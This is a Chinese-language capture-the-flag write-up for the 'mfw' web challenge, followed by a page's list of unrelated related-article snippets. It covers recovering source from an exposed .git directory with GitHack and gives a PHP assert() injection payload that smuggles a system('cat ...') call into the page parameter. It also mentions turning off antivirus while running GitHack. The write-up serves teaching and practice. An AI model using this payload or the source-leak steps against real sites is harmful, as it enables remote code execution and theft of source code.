WEB:mfw
背景知识
Git泄露
Githack使用
命令执行漏洞
题目


这里页面里有Git,猜测是Git泄露
先用dirsearch扫一下

确实存在.git目录,可以尝试访问一下

使用Githack来下载并恢复.git文件

这里记得使用的时候关闭杀毒软件
结果会自动保存

点进去先看一下flag这个文件,发现什么都没有
再看一下index.php,进行代码审计
?phpif (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}
//使用get请求方式给page传参,如果没传,默认page=home $file = "templates/" . $page . ".php";
//$file变量会接收传入的$page并且在其前面拼接templates/,在其后面拼接.php,PHP中用.来实现字符串的拼接// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");//strpos() 函数会在'$file'这个字符串中进行查找,是否存在'..',当字符串里有'..',则会返回一个数(即'..'第一次出现的位置),结果为true
//与右边的false并不恒等,此时就会执行or右边的die()函数,输出 Detected hacking attempt!
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");?>
//file_exists() 函数还会检查我们传入的page拼接后是否存在

由代码审计可知,file_exists() 函数还会检查我们传入的page拼接后是否存在,在之前的githack下载文件中,templates文件夹中有四个php文件,只要传入的不是这4个,就会执行die函数,输出 That file doesn't exist!

file_exists()函数不会对获取flag有影响
assert()函数会将括号中的字符当成代码来执行
可以直接在第一个assert()函数处就调用cat命令来获取flag
传入的page中不能有'..',使strpos()函数返回false,和右边的false相等
payload
?page=123') or system("cat templates/flag.php");//
payload的前半段可以是存在的文件也可是不存在的文件
只需要前半段返回的是false,执行or后面的即可
在最后添加注释//,确保后面的代码不会执行
传入payload的之后,查看网页源代码可以找到flag

参考学习链接:
攻防世界 mfw(Git源码泄露与命令执行漏洞)_mfw攻防世界_kali-Myon的博客-CSDN博客
攻防世界 mfw(Git源码泄露与命令执行漏洞)_mfw攻防世界_kali-Myon的博客-CSDN博客
相关文章:
WEB:mfw
背景知识 Git泄露 Githack使用 命令执行漏洞 题目 这里页面里有Git,猜测是Git泄露 先用dirsearch扫一下 确实存在.git目录,可以尝试访问一下 使用Githack来下载并恢复.git文件 这里记得使用的时候关闭杀毒软件 结果会自动保存 点进去先看一下flag这个…...
2.4 传统经验光照模型详解
一、光照模型 光照模型(illumination model),也称为明暗模型,用于计算物体某点处的光强(颜色值)。从算法理论基础而言,光照模型分为两类:一种是基于物理理论的,另一种是…...
基于高通QCC5171的对讲机音频数据传输系统设计
一 研发资料准备 二 设计方法 蓝牙连接与配对:使用QCC5171的蓝牙功能,实现设备之间的蓝牙连接和配对。确保设备能够相互识别并建立起稳定的蓝牙连接。 音频采集与处理:将麦克风采集到的音频数据通过QCC5171的ADC(模数转换器&…...
【题解】判断链表中是否有环、链表中环的入口结点
文章目录 判断链表中是否有环链表中环的入口结点 判断链表中是否有环 题目链接:判断链表中是否有环 解题思路1:快慢指针 代码如下: bool hasCycle(ListNode *head) {if(head nullptr) return false;ListNode* fast head;ListNode* slow …...
Pytorch 最全入门介绍,Pytorch入门看这一篇就够了
本文通过详细且实践性的方式介绍了 PyTorch 的使用,包括环境安装、基础知识、张量操作、自动求导机制、神经网络创建、数据处理、模型训练、测试以及模型的保存和加载。 1. Pytorch简介 在这一部分,我们将会对Pytorch做一个简单的介绍,包括它…...
Lambda 表达式的作用域
在Lambda表达式中访问外层作用域和旧版本的匿名对象中的方式类似。你可以直接访问标记了final的外层局部变量,或者实例的字段以及静态变量。 Lambda表达式不会从超类(supertype)中继承任何变量名,也不会引入一个新的作用域。Lambd…...
【portswigger】第二专题-XSS(二)
portswigger 靶场(第二章节)XSS 视频同步更新至bilibili bibi地址 【【portswigger】第二专题-XSS(一前置知识)】 https://www.bilibili.com/video/BV1mp4y157xA/?share_sourcecopy_web 【【portswigger】第二专题-XSSÿ…...
【计算机视觉|人脸建模】3D人脸重建基础知识(入门)
本系列博文为深度学习/计算机视觉论文笔记,转载请注明出处 一、三维重建基础 三维重建(3D Reconstruction)是指根据单视图或者多视图的图像重建三维信息的过程。 1. 常见三维重建技术 人工几何模型仪器采集基于图像的建模描述基于几何建模…...
使用Jetpack Glance创建Android Widget
使用Jetpack Glance创建Android Widget Jetpack Glance发布,让我们使用Google提供的Jetpack Glance创建一个联系人列表小部件。 https://developer.android.com/jetpack/compose/glance 什么是Glance? Jetpack Glance是一个使用Kotlin API创建小型、轻…...
【MyBatis 学习三】子段不一致问题 多表查询 动态SQL
目录 一、解决Java实体类属性与数据库表字段不一致问题 🌷现象1:显示字段不对应:使用ResultType查询结果为null; 🌷解决办法:字段不对应:使用ResultMap解决。 二、数据库的多表查询 &#…...
15. Spring AOP 的实现原理 代理模式
目录 1. 代理模式 2. 静态代理 3. 动态代理 3.1 JDK 动态代理 3.2 CGLIB 动态代理 4. JDK 动态代理和 CGLIB 动态代理对比 5. Spring代理选择 6. Spring AOP 实现原理 6.1 织入 7. JDK 动态代理实现 8. CGLIB 动态代理实现 9. 总结 1. 代理模式 代理模式…...
死锁产生的原因以及解决方案
一.原因: 1.使用互斥锁. 2.除非主动释放,负责不能被抢占. 3.占用一把锁不释放,等待其它锁资源(保持现状). 4.锁形成环路. 二.解决方案: 给锁编号,上锁的时候从小到大依次上锁,譬如如果一个线程要上1号和2号两把锁,如果1号锁被占用,不能上2号锁,等其它线程释放1号锁资源后…...
【构造】CF1758 D
Problem - D - Codeforces 题意: 思路: 如果需要构造一个和为定值的序列,那么考虑n-d,n-d1,.....nd-1,nd这种形式 如果要保证不能重复,那么先考虑一个排列,然后在排列上操作 如果根据小数据构造出了一些简单情形&a…...
【腾讯云 Cloud Studio 实战训练营】永不宕机的IDE,Coding Everywhere
【腾讯云 Cloud Studio 实战训练营】永不宕机的IDE,随时随地写代码! 写在最前视频讲解:Cloud Studio活动简介何为腾讯云 Cloud Studio?Cloud Studio简介免费试用,上手无忧Cloud Studio 特点及优势云端开发多种预制环境可选metawo…...
JavaScript将一层级对象数组转为children嵌套的三层级树状对象数组(多级树状分类)
有时候后端返回的数据不适合前端,我们就需要进行转换,比如我想用elementUI的级联选择器,而这个组件对数据格式有要求,本篇文章将介绍如何将一层级对象数组数据格式转为三层级嵌套children数组,JavaScript、Vue、小程序等都适用,使用情景为多级分类,嵌套数据 情况1:原数…...
Windows脚本启动Redis、Java和Nginx服务指南
文章目录 1. 完整的批处理脚本2. Redis服务3. Java服务4. Nginx服务 1. 完整的批处理脚本 echo offcd C:\path\to\redis tasklist /FI "IMAGENAME eq redis-server.exe" 2>NUL | find /I /N "redis-server.exe">NUL if "%ERRORLEVEL%"&qu…...
【宝藏系列】STM32之C语言基础知识
【宝藏系列】STM32之C语言基础知识 文章目录 【宝藏系列】STM32之C语言基础知识1️⃣位操作2️⃣define宏定义3️⃣ifdef条件编译4️⃣extern变量声明5️⃣typedef类型别名 C语言是单片机开发中的必备基础知识,本文列举了部分 STM32 学习中比较常见的一些C语言基础知…...
探索自除数:发现区间内的神奇数字
本篇博客会讲解力扣“728. 自除数”的解题思路,这是题目链接。 对于给定的正整数num,我们如何判断它是不是自除数呢?根据定义,我们只需要把num的每一位数字都取出来,判断能不能整除num,如果发现num的某一位…...
打卡力扣题目四
#左耳听风 ARST 打卡活动重启# 目录 一、题目 二、解题代码 三、解题思路 关于 ARTS 的释义 —— 每周完成一个 ARTS: ● Algorithm: 每周至少做一个 LeetCode 的算法题 ● Review: 阅读并点评至少一篇英文技术文章 ● Tips: 学习至少一个技术技巧 ● Share: 分享…...
npm yarn nrm
npm 和 yarn npm和yarn都是包管理器,yarn是在2016年发布的,那时npm还处于V3时期,那时候还没有package-lock.json文件,不稳定性、安装速度慢等缺点经常会受到广大开发者吐槽。此时,yarn 诞生了。yarn 的优点,…...
小爱音箱音乐播放限制破解实战:从基础配置到高级玩法深度解析
小爱音箱音乐播放限制破解实战:从基础配置到高级玩法深度解析 【免费下载链接】xiaomusic 使用小爱音箱播放音乐,音乐使用 yt-dlp 下载。 项目地址: https://gitcode.com/GitHub_Trending/xia/xiaomusic 你是否曾经对着小爱音箱说"播放周杰伦…...
数据可视化库对比:选择最适合你的工具
数据可视化库对比:选择最适合你的工具 前言 大家好,我是前端老炮儿。今天咱们来聊聊数据可视化库的选择! 在前端开发中,数据可视化是一个非常重要的领域。市面上有很多优秀的可视化库,比如ECharts、D3.js、Chart.js、T…...
魔改frida-server实现反检测:从行为消除到可检测性归零
1. 为什么魔改frida-server比写检测绕过代码更根本?在Android逆向与安全测试一线干了十多年,我见过太多团队把精力耗在“检测逻辑对抗”上:写一堆Java层的isFridaPresent()、Native层的checkFridaPort()、甚至用ptrace自检父进程——结果呢&a…...
别再手动Cherry-pick了!用IDEA的Squash功能,3步合并Git提交历史
告别零碎Commit:IDEA交互式变基实战指南 在团队协作开发中,每个开发者都经历过这样的场景:为了修复一个看似简单的Bug,你在本地分支上提交了五六个"WIP"(Work in Progress)或"fix typo"…...
ARM NEON中的VMLAL/VMLSL指令详解与优化实践
1. ARM SIMD指令集概述在嵌入式系统和移动计算领域,ARM架构凭借其出色的能效比占据了主导地位。随着多媒体处理、机器学习等计算密集型任务的普及,单指令多数据流(SIMD)技术成为提升处理器性能的关键手段。ARM的Advanced SIMD扩展(通常称为NEON技术)提供…...
Tonzhon音乐:纯净无干扰的现代音乐播放平台终极指南
Tonzhon音乐:纯净无干扰的现代音乐播放平台终极指南 【免费下载链接】tonzhon-music 铜钟 Tonzhon (tonzhon.whamon.com): 干净纯粹的音乐平台 (铜钟已不再使用 tonzhon.com,现在的 tonzhon.com 不是正版的铜钟) 项目地址: https://gitcode.com/GitHub…...
设计师私藏的11个纹理Prompt原子模块(仅限本周开放下载:含PBR贴图映射表+光照反射系数速查卡)
更多请点击: https://intelliparadigm.com 第一章:纹理Prompt原子模块的设计哲学与底层逻辑 纹理Prompt原子模块并非简单拼接关键词的字符串生成器,而是以认知建模为根基、以可组合性为约束、以语义保真度为校验目标的结构化表达系统。其设计…...
【Linux驱动开发】第11天:设备树(Device Tree)超详细全解:从诞生背景到工作原理
一、设备树的诞生背景:传统驱动的致命痛点 在设备树出现之前(Linux 3.0之前),Linux内核采用硬编码的方式描述所有硬件信息。这意味着: 每一个开发板的寄存器地址、中断号、GPIO号,都直接写死在驱动代码里换…...
2026年想找口碑好的长沙瓷砖美缝?哪家专业这里给你答案!
装修是一件充满期待却又布满挑战的事情,而美缝作为装修收尾的关键一步,其重要性不言而喻。然而,许多业主在美缝过程中遭遇了各种困扰,究竟怎样才能找到一家专业靠谱的美缝团队呢?在长沙,长沙匠心徐师傅美缝…...
5月22日截止报名!重庆农商行2026求职报名+备考解读
本文涵盖:重庆农村商业银行2026招聘报名时间、重庆农商行笔试内容、重庆农商行面试真题、在线刷题等备考信息小职划重点!重庆农村商业银行2026招聘,报名截止时间为2026年5月22日17:00① 招聘流程:报名→在线测评→资格审查→测试→…...
